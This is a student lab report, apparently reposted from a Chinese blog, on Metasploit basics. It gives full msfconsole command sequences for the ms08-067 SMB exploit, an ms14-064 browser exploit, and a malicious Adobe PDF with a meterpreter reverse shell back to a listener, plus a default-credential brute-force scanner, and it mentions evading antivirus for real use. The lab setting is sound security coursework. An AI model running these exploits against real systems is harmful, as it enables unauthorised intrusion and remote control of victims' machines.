• 20181223何家豪 Exp6 MSF应用基础


    一、实践内容

    本实践目标是掌握metasploit的基本应用方式,重点常用的三种攻击方式的思路。

    实践准备

    1. MSF攻击方法

    • 主动攻击:扫描主机漏洞,进行攻击
    • 攻击浏览器
    • 攻击其他客户端

    2. MSF的六种模块

    • 渗透攻击模块Exploit Modules:攻击漏洞,把shellcode"背"过去
      • 主动渗透攻击:攻击某个系统服务
      • 被动渗透攻击:攻击某个客户端应用
    • 辅助模块Auxiliary Modules:在进行渗透攻击之前得到目标系统丰富的情报信息,它是攻击的前提
      • 网络服务的扫描与查点
      • 探查敏感信息泄露、Fuzz测试发掘漏洞
      • 收集登录密码
    • 攻击载荷Payload Modules:载荷,一段指令(shellcode),目标系统在被渗透攻击之后去执行的代码
    • 空字段模块Nop Modules
      • 一些对程序运行状态不会造成任何实质影响的空操作或无关操作指令,即空指令(滑行区)
      • 由于系统无法精确计算shellcode的起始地址,所以加入nops以增加攻击成功的概率
    • 编码模块Encoders
      • 改变payload形状,使得不出现特定字符
      • 确保攻击载荷中不会出现渗透攻击过程中应加以避免的“坏字符”
    • 后渗透攻击模块Post:攻击成功之后,动态传输代码使其在被控机执行
    • 查看六种模块源码目录/usr/share/metasploit-framework/modules

    3. MSF的三种用户操作界面

    • msfconsole
      • 查看模块的具体信息info [exploits|auxiliary|post|payloads|encoders|nops]
      • 查看设置信息show [options]
      • 查看攻击目标类型show [target]
      • 查找命令search
        • 查找2016年产生的在windows平台下的漏洞search ms16 type:exploit platform:windows
    • armitage
      • 启动服务器service postgresql start
      • 启动armitagearmitage
    • webgui

    (一)一个主动攻击实践,尽量使用最新的类似漏洞

    漏洞编号:ms08-067

    漏洞描述:ms08-067漏洞的全称为“Windows Server服务RPC请求缓冲区溢出漏洞”,如果用户在受影响的系统上收到特制的 RPC 请求,则该漏洞可能允许远程执行代码,可用于进行蠕虫攻击。受影响的系统有 Microsoft Windows 2000、Windows XP 和 Windows Server 2003

    主机:kali
    IP:192.168.136.128
    靶机:Windows XP English
    IP:192.168.136.142

    攻击者试探靶机是否存在此漏洞nmap -sS -A --script=smb-vuln-ms08-067 -PO 192.168.136.142

    进入msf,使用search ms08-067查看漏洞位置

    使用use exploit/windows/smb/ms08_067_netapi选择该漏洞
    设置攻击的载荷set payload generic/shell_reverse_tcp
    使用show payloads查看可用载荷
    设置靶机IPset RHOSTS 192.168.136.142
    设置攻击机IPset LHOSTS 192.168.136.128

    exploit进行攻击

    第一次攻击失败,换个端口继续攻击

    攻击成功,可用ipconfig/all命令验证连接结果

    (二)一个针对浏览器的攻击,尽量使用最新的类似漏洞

    漏洞编号:ms14-064
    靶机:Windows xp English
    IP:192.168.122.143

    主机:Kali
    IP:192.168.122.136

    进入msf,使用search ms13查看漏洞位置

    使用use exploit/windows/browser/ms14_064_ole_code_execution选择攻击模块

    设置好攻击机的IP与端口,使用的载荷等信息,然后开始攻击
    在xp中打开生成的url,可以在kali中看到创建了一个链接:

    使用ctrl+c退出当前状态,通过sessions -i 1获取第一个会话
    使用ipconfig查看靶机地址:

    发现攻击的是xp主机,攻击成功。

    (三)一个针对客户端的攻击,如Adobe或office,尽量使用最新的类似漏洞

    靶机 windows XP Pro English
    IP172.16.227.19

    攻击机 kali
    IP172.16.229.167

    use exploit/windows/fileformat/adobe_cooltype_sing
    set payload windows/meterpreter/reverse_tcp
    set LHOST 172.16.229.167
    set LPORT 11223
    set FILENAME 20181223.pdf
    set target 0
    exploit
    

    输入后显示

    [*] Creating '20181223.pdf' file...
    [+] 20181223.pdf stored at /root/.msf4/local/20181223.pdf
    

    去所在路径找到pdf,放到靶机里,输入如下命令进入监听模块

    use exploit/multi/handler
    set payload windows/meterpreter/reverse_tcp
    set LHOST 172.16.229.167
    set LPORT 11223
    exploit
    

    xp里没有adobe,看rb文件里对应的adobe版本下一个9.3版本

    打开靶机里的pdf,攻击机中获得控制权,路径为pdf所在地址

    (四)成功应用任何一个辅助模块

    扫描工具Dell iDRAC Default Login
    因为主机是dell的,我找了一个dell的扫描器。

    • iDRAC 是什么?
      带 Lifecycle Controller 的集成戴尔远程访问控制器 (iDRAC) 嵌入在每个 Dell EMC PowerEdge™ 服务器中,其功能可帮助 IT 管理员部署、更新、监控和维护服务器,而无需安装任何额外软件。Dell iDRAC 的工作不受操作系统或虚拟机管理程序存在的影响,因为 iDRAC 在出厂时就已嵌入每个服务器中,其已准备好从预操作系统或裸机状态工作。

    使用info进行查看

    msf5 auxiliary(scanner/http/dell_idrac) > info
    
           Name: Dell iDRAC Default Login
         Module: auxiliary/scanner/http/dell_idrac
        License: Metasploit Framework License (BSD)
           Rank: Normal
    
    Provided by:
      Cristiano Maruti <cmaruti@gmail.com>
    
    Check supported:
      Yes
    
    Basic options:
      Name              Current Setting                                                        Required  Description
    
    ----              ---------------                                                        --------  -----------
    
      BLANK_PASSWORDS   false                                                                  no        Try blank passwords for all users
      BRUTEFORCE_SPEED  5                                                                      yes       How fast to bruteforce, from 0 to 5
      DB_ALL_CREDS      false                                                                  no        Try each user/password couple stored in the current database
      DB_ALL_PASS       false                                                                  no        Add all passwords in the current database to the list
      DB_ALL_USERS      false                                                                  no        Add all users in the current database to the list
      PASSWORD                                                                                 no        A specific password to authenticate with
      PASS_FILE         /usr/share/metasploit-framework/data/wordlists/idrac_default_pass.txt  no        File containing passwords, one per line
      Proxies                                                                                  no        A proxy chain of format type:host:port[,type:host:port][...]
      RHOSTS            192.168.124.118                                                        yes       The target address range or CIDR identifier
      RPORT             443                                                                    yes       Default remote port
      STOP_ON_SUCCESS   false                                                                  yes       Stop guessing when a credential works for a host
      TARGETURI         /data/login                                                            yes       Path to the iDRAC Administration page
      THREADS           1                                                                      yes       The number of concurrent threads
      USERNAME                                                                                 no        A specific username to authenticate as
      USERPASS_FILE                                                                            no        File containing users and passwords separated by space, one pair per line
      USER_AS_PASS      false                                                                  no        Try the username as the password for all users
      USER_FILE         /usr/share/metasploit-framework/data/wordlists/idrac_default_user.txt  no        File containing users, one per line
      VERBOSE           true                                                                   yes       Whether to print output for all attempts
      VHOST                                                                                    no        HTTP server virtual host
    
    Description:
      This module attempts to login to a iDRAC webserver instance using 
      default username and password. Tested against Dell Remote Access 
      Controller 6 - Express version 1.50 and 1.85
    

    可以看到要求的配置项不多,它大概就是尝试使用默认的用户名和密码对Dell的这个远程控制软件进行登录。

    选择载荷-配置-探查
    探查结果-no exit

    二、问题回答

    基础问题回答

    用自己的话解释什么是exploit,payload,encode.

    1. exploit

    exploit字面上的意思是“开拓、开发”,而在破解圈子里面,公认的概念可能是“漏洞及其利用”。通俗的说,exploit就是利用一切可以利用的工具、采用一切可以采用的方法、找到一切可以找到的漏洞,并且通过对漏洞资料的分析研究,从而达到获取网站用户资料文档、添加自定义用户、甚至侵入网站获得管理员权限控制整个网站的最终目的。对于cracker来说,能够得到密码档或者添加用户就足够了。而对于hacker来说,控制整个网站才是目的。
    不管你用什么方法、什么工具,只要能够发现网站的漏洞,实现获取密码档、添加用户、控制网站的目标之一,那么你所做的就是exploit。
    那么漏洞又是什么东西呢?我们应该知道,所谓网站,不过是由放在服务器上的很多相关程序及文件所组成的。既然是人编写的程序,就不会是无懈可击的,再优秀的程序都会有这样那样的缺陷,否则人们就不需要没完没了的更新升级程序了。而网站的漏洞,可能是组成网站的程序本身的缺陷造成的,也可能是程序之间的配置缺陷而造成的,还有就是网站设计上的缺陷。

    2. payload

    在计算机病毒或电脑蠕虫领域中,负载指的是进行有害操作的部分,例如:数据销毁、发送垃圾邮件等。
    病毒通常会做一些有害的或者恶性的动作。在病毒代码中实现这个功能的部分叫做“有效负载”(payload)。payload可以实现任何运行在受害者环境中的程序所能做的事情,并且能够执行动作包括破坏文件删除文件,向病毒的作者或者任意的接收者发送敏感信息,以及提供通向被感染计算机的后门。

    3. encode

    通过一些特殊手段的编码,可以既保证有效载荷不被破坏,又使得漏洞攻击程序不会被侦察到。

    三、实践总结与体会

    本次的实验让我对msf有了更深入的掌握,在尝试上浪费了一些时间,但也学到了分析问题的能力。我对MSF的应用感觉更加得心应手了,了解了msf的具体用法,更加得心应手了。另外,感觉实验环境和真实环境还是有很大差距,很多漏洞都是故意去才能找到的。本次实验绝大多数的时间花费在找靶机上。这说明msf对漏洞的攻击对系统和软件版本具有较强的专一性。在日常生活中大可以不那么担心这个问题,毕竟大型厂商都会自动帮你更新好漏洞。

    四、离实战还缺些什么技术或步骤?

    首先是是信息搜集,实践中我们可以掌握靶机的系统版本,但是实际中我们需要了解目标的系统版本,然后有针对性地采取措施。并且还有掌握最新的漏洞信息。
    其次是要将后门程序悄无声息的放入靶机中这部看似简单,但是实际中要逃过杀软与人为的检测,所以需要伪装和免杀处理。而且我们的许多操作都需要靶机的配合,而在实战中一般不会有被害人和你配合吧,除了社工成功的情况下。

  • 相关阅读:
    数据库空间使用情况
    创建database link
    oracle导出指定几张表的数据以逗号等为分隔符
    Oracle手工创建实例
    通过shell脚本调用oracle存储过程并加入定时任务
    oracle导出与导入脚本
    在存储过程中为表添加月分区与日分区
    oracle添加分区
    ORACLE_SID与SID区别
    AUTHID DEFINER与AUTHID CURRENT_USER
  • 原文地址:https://www.cnblogs.com/soujiokita/p/14711111.html
Copyright © 2020-2023  润新知